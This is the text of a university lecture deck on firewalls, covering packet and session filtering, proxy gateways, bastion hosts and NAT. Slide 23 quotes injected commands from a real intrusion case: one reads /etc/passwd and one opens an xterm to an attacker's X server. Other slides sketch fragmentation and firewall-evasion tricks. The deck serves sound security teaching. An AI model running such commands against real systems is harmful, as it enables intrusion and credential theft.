Bài giảng An ninh mạng - Chương 9: Firewalls - Trần Trung Dũng

Nội dung text: Bài giảng An ninh mạng - Chương 9: Firewalls - Trần Trung Dũng

1. Firewalls Jimmy Yang slide 1
2. Reading Assignment Chapter 23 in Kaufman slide 2
3. Firewalls Idea: separate local network from the Internet Trusted hosts and networks Firewall Router Intranet DMZ Demilitarized Zone: publicly accessible servers and networks slide 3
4. Castle and Moat Analogy More like the moat around a castle than a firewall • Restricts access from the outside • Restricts outbound connections, too (!!) slide 4
5. Firewall Locations in the Network Between internal LAN and external network At the gateways of sensitive subnetworks within the organizational LAN • Payroll’s network must be protected separately within the corporate network On end-user machines • “Personal firewall” • Microsoft’s Internet Connection Firewall (ICF) comes standard with Windows XP slide 5
6. Firewall Types Packet- or session-filtering router (filter) Proxy gateway • All incoming traffic is directed to firewall, all outgoing traffic appears to come from firewall • Application-level: separate proxy for each application – Different proxies for SMTP (email), HTTP, FTP, etc. – Filtering rules are application-specific • Circuit-level: application-independent, “transparent” – Only generic IP traffic filtering (example: SOCKS) Personal firewall with application-specific rules • E.g., no outbound telnet connections from email client slide 6
7. Firewall Types: Illustration slide 7
8. Packet Filtering For each packet, firewall decides whether to allow it to proceed • Decision must be made on per-packet basis – Stateless; cannot examine packet’s context (TCP connection, application to which it belongs, etc.) To decide, use information available in the packet • IP source and destination addresses, ports • Protocol identifier (TCP, UDP, ICMP, etc.) • TCP flags (SYN, ACK, RST, PSH, FIN) • ICMP message type Filtering rules are based on pattern-matching slide 8
9. Packet Filtering Examples slide 9
10. Example: FTP [Wenke Lee] FTP server FTP client 20 21 Connection from a Data Command random port on an 5150 5151  Client opens external host command channel to server; tells  server second port number    Server acknowledges  Server opens data channel to client’s second port   Client acknowledges slide 10
11. FTP Packet Filter The following filtering rules allow a user to FTP from any IP address to the FTP server at 172.168.10.12 access-list 100 permit tcp any gt 1023 host 172.168.10.12 eq 21 access-list 100 permit tcp any gt 1023 host 172.168.10.12 eq 20 ! Allows packets from any client to the FTP control and data ports access-list 101 permit tcp host 172.168.10.12 eq 21 any gt 1023 access-list 101 permit tcp host 172.168.10.12 eq 20 any gt 1023 ! Allows the FTP server to send packets back to any IP address with TCP ports > 1023 interface Ethernet 0 access-list 100 in ! Apply the first rule to inbound traffic access-list 101 out ! Apply the second rule to outbound traffic ! Anything not explicitly permitted by the access list is denied! slide 11
12. Weaknesses of Packet Filters Do not prevent application-specific attacks • For example, if there is a buffer overflow in FTP server, firewall will not block an attack string No user authentication mechanisms • except (spoofable) address-based authentication • Firewalls don’t have any upper-level functionality Vulnerable to TCP/IP attacks such as spoofing • Solution: list of addresses for each interface (packets with internal addresses shouldn’t come from outside) Security breaches due to misconfiguration slide 12
13. Abnormal Fragmentation For example, ACK bit is set in both fragments, but when reassembled, SYN bit is set (can stage SYN flooding through firewall) slide 13
14. Fragmentation Attack [Wenke Lee] Telnet Server Telnet Client , Send 2 fragments with the ACK bit set; fragment offsets are Allow only if ACK bit set chosen so that the full 23 1234 datagram re-assembled  by server forms a packet with the SYN bit set (the  fragment offset of the second packet overlaps into the space of the first packet) SYN packet (no ACK)   All following packets will have the ACK bit set slide 14
15. More Fragmentation Attacks Split ICMP message into two fragments, the assembled message is too large • Buffer overflow, OS crash Denial of service (e.g., chargen attacks) • “Character generation” debugging tool: connect to a certain port and receive a stream of data • If attacker fools it into connecting to itself, CPU locks slide 15
16. Stateless Filtering Is Not Enough In TCP connections, ports with numbers less than 1024 are permanently assigned to servers • 20,21 for FTP, 23 for telnet, 25 for SMTP, 80 for HTTP Clients use ports numbered from 1024 to 65535 • They must be available for clients to receive responses What should a firewall do if it sees, say, an outgoing request to some client’s port 5151? • It must allow it: this could be a server’s response in a previously established connection • OR it could be malicious traffic • Can’t tell without keeping state for each connection slide 16
17. Example: Variable Port Use Inbound SMTP Outbound SMTP slide 17
18. Session Filtering Decision is still made separately for each packet, but in the context of a connection • If new connection, then check against security policy • If existing connection, then look it up in the table and update the table, if necessary – Only allow incoming traffic to a high-numbered port if there is an established connection to that port Hard to filter stateless protocols (UDP) and ICMP Typical filter: deny everything that’s not allowed • Must be careful filtering out service traffic such as ICMP Filters can be bypassed with IP tunneling slide 18
19. Example: Connection State Table slide 19
20. Application-Level Gateway Splices and relays application-specific connections Need separate proxy for each application • Example: Web browser proxy • Big overhead, but can log and audit all activity Can support user-to-gateway authentication • Log into the proxy server with username and password Simpler filtering rules (why?) slide 20
21. Circuit-Level Gateway Splices and relays two TCP connections • Does not examine the contents of TCP segments; less control than application-level gateway Client applications must be adapted for SOCKS • “Universal” interface to circuit-level gateways For lower overhead, application-level proxy on inbound, circuit-level on outbound (trusted users) slide 21
22. Comparison Modify client Defends against Performance application fragm. attacks Packet filter Best No No Session filter No Maybe Circuit-level gateway Yes (SOCKS) Yes Application-level Worst Yes Yes gateway slide 22
23. Why Filter Outbound Connections? [From “The Art of Intrusion”] whitehouse.gov: inbound X connections blocked by firewall, but input sanitization in phonebook script doesn’t filter out 0x0a (newline) cat%20/etc/passwd • Displays password file X11R6/bin/xterm%20-ut%20-display%20attackers.ip.address:0.0 • Opens outbound connection to attacker’s X server (permitted by firewall!) Then use buffer overflow in ufsrestore to get root slide 23
24. More Fun with Outbound [From “The Art of Intrusion”] Guess CEO’s password and log into his laptop Try to download hacking tools with FTP • Oops! Personal firewall on laptop pops up a warning every time FTP tries to connect to the Internet • Kill firewall before CEO notices Use Internet Explorer object instead • Most firewalls permit Internet Explorer to connect to the Internet Get crackin’ slide 24
25. Bastion Host Bastion host is a hardened system implementing application-level gateway behind packet filter • All non-essential services are turned off • Application-specific proxies for supported services – Each proxy supports only a subset of application’s commands, is logged and audited, disk access restricted, runs as a non- privileged user in a separate directory (independent of others) • Support for user authentication All traffic flows through bastion host • Packet router allows external packets to enter only if their destination is bastion host, and internal packets to leave only if their origin is bastion host slide 25
26. Single-Homed Bastion Host If packet filter is compromised, traffic can flow to internal network slide 26
27. Dual-Homed Bastion Host No physical connection between internal and external networks slide 27
28. Screened Subnet Only the screened subnet is visible to the external network; internal network is invisible slide 28
29. Protecting Addresses and Routes Hide IP addresses of hosts on internal network • Only services that are intended to be accessed from outside need to reveal their IP addresses • Keep other addresses secret to make spoofing harder Use NAT (network address translation) to map addresses in packet headers to internal addresses • 1-to-1 or N-to-1 mapping Filter route announcements • No need to advertise routes to internal hosts • Prevent attacker from advertising that the shortest route to an internal host lies through him slide 29
30. General Problems with Firewalls Interfere with networked applications Don’t solve real problems • Buggy software (think buffer overflow exploits) • Bad protocol design (think WEP in 802.11b) Generally don’t prevent denial of service Don’t prevent insider attacks Increasing complexity and potential for misconfiguration slide 30